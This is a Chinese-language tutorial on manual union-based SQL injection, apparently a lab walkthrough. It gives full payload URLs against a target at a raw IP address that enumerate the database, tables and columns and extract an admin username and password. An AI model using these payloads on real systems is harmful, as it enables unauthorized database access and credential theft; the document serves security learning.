共计 1775 个字符,预计需要花费 5 分钟才能阅读完成。
判断注入点
id=1’,在 1 后面加 ’,页面出错
id=1 and 1= 1 正常,id=1 and 1=2,页面出错
id=1 and 1=’1’ 正常,id=1 and 1=’1’ 页面出错
注:通过构造错误的语句,根据返回结果来判断是否存在注入点
手动注入
- 判断字段数
id =1 order by x,x=1,2,3,4,·······,按第 1,2,3,4,······列进行排序 - 判断回显点
union select 1,2,3,4,5,6,7,8,9,10,11 from admin,1,2,3,4…,这里的几个数字纯粹是凑数的, 凑够和 union 关键字前面的那个表的字段数一样 ,不然没法拼接成一个表。在 sql 注入的时候,在将相应位置替换成你想获得的数据,查询结果后面就会显示出来; 效果是 from 当前字段对应的服务器端的一张表。权限肯定有限制,所以 要看返回的数字才能确定哪一列可以回显到客户端,而不是随便哪一列都能利用的。比如服务器返回 3,说明第 3 列可以回显
查询相关内容
- 猜表名
union select 1,2,3,4,5,6,7,8,9,10 from 表名
如果不报错,则该表存在 - 猜字段名 -> 查询字段内容
union select 1,2,3,4,password,6,7,8,9,10 from 表名
如果不报错,则该字段存在
实战
目标链接:http://120.203.13.75:6815/index.php
-
找注入点:
http://120.203.13.75:6815/index.php?id=1 and 1=2
-
判断字段数
http://120.203.13.75:6815/index.php?id=1 order by 2
1、2 均正常显示,3 的时候出现异常,则当前表的字段数为 2
-
判断回显点
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,2
-
查相关内容(一定要在回显点处查看!)
查数据库名http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,database()
查数据库版本
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,version()
查表名http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
查字段名
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1
查出 admin 表里 有 id username password 三个字段查询字段内容
构造?id=1 and 1=2 union select 1,username from admin limit 0,1
构造
?id=1 and 1=2 union select 1,password from admin limit 1,1
limit 1,1 没有回显,说明只有一个用户
构造
?id=1 and 1=2 union select 1,password from admin limit 0,1
如此,得到了管理员账号和密码
正文完